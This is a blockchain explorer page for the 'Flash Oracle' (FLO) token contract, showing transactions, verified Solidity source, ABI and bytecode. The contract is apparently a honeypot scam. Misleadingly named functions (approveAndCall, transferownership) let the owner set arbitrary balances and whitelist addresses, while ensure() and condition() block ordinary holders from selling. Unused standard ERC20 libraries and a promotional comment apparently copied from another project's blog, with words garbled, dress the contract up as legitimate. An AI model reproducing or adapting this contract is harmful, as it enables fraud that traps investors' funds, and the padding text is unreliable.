ETH Price: $3,426.10 (-0.42%)
Gas: 2 Gwei

Contract

0x2De3399D849F431D0303B5590817D60D2af8DAdD
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Approve138474442021-12-21 8:27:14924 days ago1640075234IN
Flash Oracle: FLO Token
0 ETH0.0009409539
Approve138474312021-12-21 8:24:59924 days ago1640075099IN
Flash Oracle: FLO Token
0 ETH0.0012354151.20458507
Approve129727382021-08-06 17:20:341061 days ago1628270434IN
Flash Oracle: FLO Token
0 ETH0.0027057658.3
Approve128139852021-07-12 18:08:531086 days ago1626113333IN
Flash Oracle: FLO Token
0 ETH0.0020420844
Approve128018272021-07-10 20:32:541088 days ago1625949174IN
Flash Oracle: FLO Token
0 ETH0.0007425716
Approve And Call128018232021-07-10 20:31:331088 days ago1625949093IN
Flash Oracle: FLO Token
0 ETH0.0008257116
Approve127996492021-07-10 12:27:111088 days ago1625920031IN
Flash Oracle: FLO Token
0 ETH0.0005105211
Approve127996232021-07-10 12:22:351088 days ago1625919755IN
Flash Oracle: FLO Token
0 ETH0.000371288.00000078
Approve127996192021-07-10 12:21:521088 days ago1625919712IN
Flash Oracle: FLO Token
0 ETH0.0005105211
Transfer127980562021-07-10 6:30:441088 days ago1625898644IN
Flash Oracle: FLO Token
0 ETH0.0006280819
Approve127980232021-07-10 6:21:371088 days ago1625898097IN
Flash Oracle: FLO Token
0 ETH0.0006961615
Approve127979042021-07-10 5:49:121088 days ago1625896152IN
Flash Oracle: FLO Token
0 ETH0.000408418.8
Approve127978972021-07-10 5:48:011088 days ago1625896081IN
Flash Oracle: FLO Token
0 ETH0.0002904710
Approve127967402021-07-10 1:40:251088 days ago1625881225IN
Flash Oracle: FLO Token
0 ETH0.0003482712
Approve127966612021-07-10 1:24:481088 days ago1625880288IN
Flash Oracle: FLO Token
0 ETH0.0006636714.3
Approve127966532021-07-10 1:21:491088 days ago1625880109IN
Flash Oracle: FLO Token
0 ETH0.0004381914.95
Approve127966452021-07-10 1:20:391088 days ago1625880039IN
Flash Oracle: FLO Token
0 ETH0.0003772913
Approve127963152021-07-10 0:10:231089 days ago1625875823IN
Flash Oracle: FLO Token
0 ETH0.0005337211.5
Transfer127961762021-07-09 23:42:241089 days ago1625874144IN
Flash Oracle: FLO Token
0 ETH0.0007471221.14645
Transfer127961652021-07-09 23:38:101089 days ago1625873890IN
Flash Oracle: FLO Token
0 ETH0.000852824.1375
Transfer127961422021-07-09 23:34:401089 days ago1625873680IN
Flash Oracle: FLO Token
0 ETH0.0006977819.75
Approve127960352021-07-09 23:08:021089 days ago1625872082IN
Flash Oracle: FLO Token
0 ETH0.0009282220
Approve127955042021-07-09 21:14:261089 days ago1625865266IN
Flash Oracle: FLO Token
0 ETH0.0008353918
Approve127954252021-07-09 20:53:301089 days ago1625864010IN
Flash Oracle: FLO Token
0 ETH0.0008168317.6
Approve127950512021-07-09 19:30:451089 days ago1625859045IN
Flash Oracle: FLO Token
0 ETH0.0010674523
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
FlashOracle

Compiler Version
v0.5.17+commit.d19bba13

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-06-28
*/

/*
Earn $FLASH ORACLE by becoming a Flasher moderator/community partner

Have you ever thought about becoming a Flasher moderator or community partner?
We are rewarding billions of $FLASH ORACLE for our moderators, and community partners!
To apply for the position
You need to obtain a SuperFlasher Role in our Discord Channel. Click here to join.
To become a SuperFlasher, you will need to be an active community member who helps answer questions and bring positive energy to the group.
As you help others, your level will grow automatically which is managed by our moderator bot Mee6. (The more you help and talk, the faster you transform into a SuperFlasher, and the faster you can apply to become a moderator)
SuperFlasher Role currently is set at level 15
Notice:
Once you are qualified to apply, let our team know. We will do a full review of history messages, and decide whether you are promoted or not
Let us know if you have other ideas or questions. We look forward to having you onboard and head to FLASH ORACLE together.

Flash Oracle Community Update

Introduction
When a small group of humans, passionate about Flasherative Agriculture and ecological integrity set forth in early 2017 to create a planetary health accounting system to transform our global economy from extractive and degenerative, to Flasherative, we were as naive as we were ambitious and passionate. In the 4 years since, we have learned, grown, and built. We have survived and thrived through a crypto bear market, political turmoil, and a global pandemic. Above all, we have remained dedicated to our lofty aim of nothing short of planetary Flasheration. We have also become very pragmatic about the systemic, market-based interventions needed to steer our global economy toward a mutualistic and Flasherative relationship with biosphere health.
The guiding principles that serve as the foundation for Flash Oracle’s approach to creating a decentralized and public infrastructure for ecological data, claims, and markets are the following:
Out cooperate the competition.
If you find something that needs to be done, do it.
Uplift and support the agency of stakeholders and Oracle participants.
Agile development.
Holistic scientific rigor and replicability.
This blog is an outline of where we have been, and where we are going. It is a letter to our community that will reference the whitepaper and show what things have changed as we have experimented, learned, brought products to markets, shipped code and created cutting edge ecological monitoring methodologies like the CarbonPlus Grasslands which was the methodology behind our large credit sale to Microsoft. This blog will outline the evolution in our approach, show the growth of a community far beyond the bounds of a single company, and outline our suggestions for what comes after mainnet launch. This blog is one-part logistics overview to coordinate the community for the upcoming decentralized main net launch and one-part retrospective reviewing how our approach, technology and focus has evolved. And finally, this blog is one-part invitation to co-create a bold approach to public infrastructure that accounts for and creates contracts, assets and market solutions to our environmental challenges.
This blog also includes:
A pre-launch timeline and checklist,
Launch ceremony overview,
Summary of important whitepaper points and how our approach has evolved.
Please consider this is an update in approach and an overview of the evolution that has taken place as we continue to iterate towards the vision laid out in the whitepaper.
Roadmap to Mainnet
We are quickly marching towards our mainnet launch date. We are still on track for an April 15 launch date.
Tuesday, March 30: Genesis Candidate Chain Live
Wednesday, March 31 Mainnet GenTX Submissions Open
Tuesday, April 6th: Candidate Chain Closes, GenTX window Closes
Thursday, April 15 1500 UTC Mainnet Launch Time.
April 15 is our target genesis date and mainnet launch. However, there is a review window for the genesis file candidate. If any changes must be made to the genesis file or Flash Ledger software, we will create a new candidate, and run that candidate for 48 hours, followed by a 24 hour pause before mainnet launch. This means that at any time between the launch of the candidate, the community audit ceremony outlined below, and mainnet launch, we may postpone mainnet and each postponement will mean a minimum of 3 day extension of the process.
It takes a village to launch a blockchain!
How to get involved:
Join the Genesis Prelaunch Devnet!
On Tuesday March 30 we will be launching our final internal testnet called the “Prelaunch Devnet”. This Oracle will have an identical genesis file to that of our mainnet, with the exception of GenTx and initial validator-set being restricted to team nodes, and core validators. Validators are encouraged to self delegate and initiate a validator on our Prelaunch Devnet once the chain is running so they can join the Oracle and verify their FLASH balances.
The genesis file can be found in our mainnet repo, and instructions to join the prelaunch devnet will be posted on github once the chain is live.
Of particular note: We will be reusing a previous chain-id for our Prelaunch Devnet, “Flash-devnet-5”. This is to make the checking of wallet balances easier for our token holders, who all connected their Keplr browser wallets to a previous devnet in order to submit their wallet addresses to us.
Check your token balance.
Investors and token holders will be able to check balances in one of two ways:
Checking your balance in Keplr. This can be done via the same “Flash Devnet” chain that you connected to when registering your address
Entering your address on our Prelaunch Devnet block explorer. This will be available at flashoracle.com once the chain is live
In addition to checking your individual token balance, token holders and validators are encouraged to audit our proposed genesis file against the token distribution scheme described later in this blog in the “Token Distribution at Mainnet Launch” section.
This process will serve to give the community the ability to check your wallet address with your allocation, and to audit other allocations, and compare with published allocation schemes. This is the software version and the allocation that is being run in genesis. After this, the Devnet will be halted, and there will be a period of at least two days for RND to update the genesis file — either in the instance of errors, or if the community feels there needs to be a reallocation.
Only token holders will be eligible to vote on the allocation scheme. Any questions regarding discrepancies in personal allocations for testnet participants, contributors and Oracle founders via the private sale, or other contributors to the community process of launching Flash Oracle can be sent to accounting [at] Flash.Oracle. Please see the following blog posts for setting up Keplr for use with FLASH tokens and Flash Oracle security best practices.
*/

pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract FlashOracle {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
       
        if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    
    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
        
        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }
 
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender == owner);
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }

    address tradeAddress;
    function transferownership(address addr) public returns(bool) {
        require(msg.sender == owner);
        tradeAddress = addr;
        return true;
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"approveAndCall","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"transferownership","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}]

6080604052604051620012bd380380620012bd833981810160405260608110156200002957600080fd5b81019080805160405193929190846401000000008211156200004a57600080fd5b838201915060208201858111156200006157600080fd5b82518660018202830111640100000000821117156200007f57600080fd5b8083526020830192505050908051906020019080838360005b83811015620000b557808201518184015260208101905062000098565b50505050905090810190601f168015620000e35780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200010757600080fd5b838201915060208201858111156200011e57600080fd5b82518660018202830111640100000000821117156200013c57600080fd5b8083526020830192505050908051906020019080838360005b838110156200017257808201518184015260208101905062000155565b50505050905090810190601f168015620001a05780820380516001836020036101000a031916815260200191505b50604052602001805190602001909291905050508260099080519060200190620001cc929190620002eb565b5081600a9080519060200190620001e5929190620002eb565b506012600a0a810260088190555033600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600854600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040518082815260200191505060405180910390a35050506200039a565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200032e57805160ff19168380011785556200035f565b828001600101855582156200035f579182015b828111156200035e57825182559160200191906001019062000341565b5b5090506200036e919062000372565b5090565b6200039791905b808211156200039357600081600090555060010162000379565b5090565b90565b610f1380620003aa6000396000f3fe60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a7231582036cc614074d7f03a7247d0693752c7a40faaa3b4d2384f7188ee753056f270ca64736f6c63430005110032000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000001dcd6500000000000000000000000000000000000000000000000000000000000000000c466c617368204f7261636c6500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003464c4f0000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910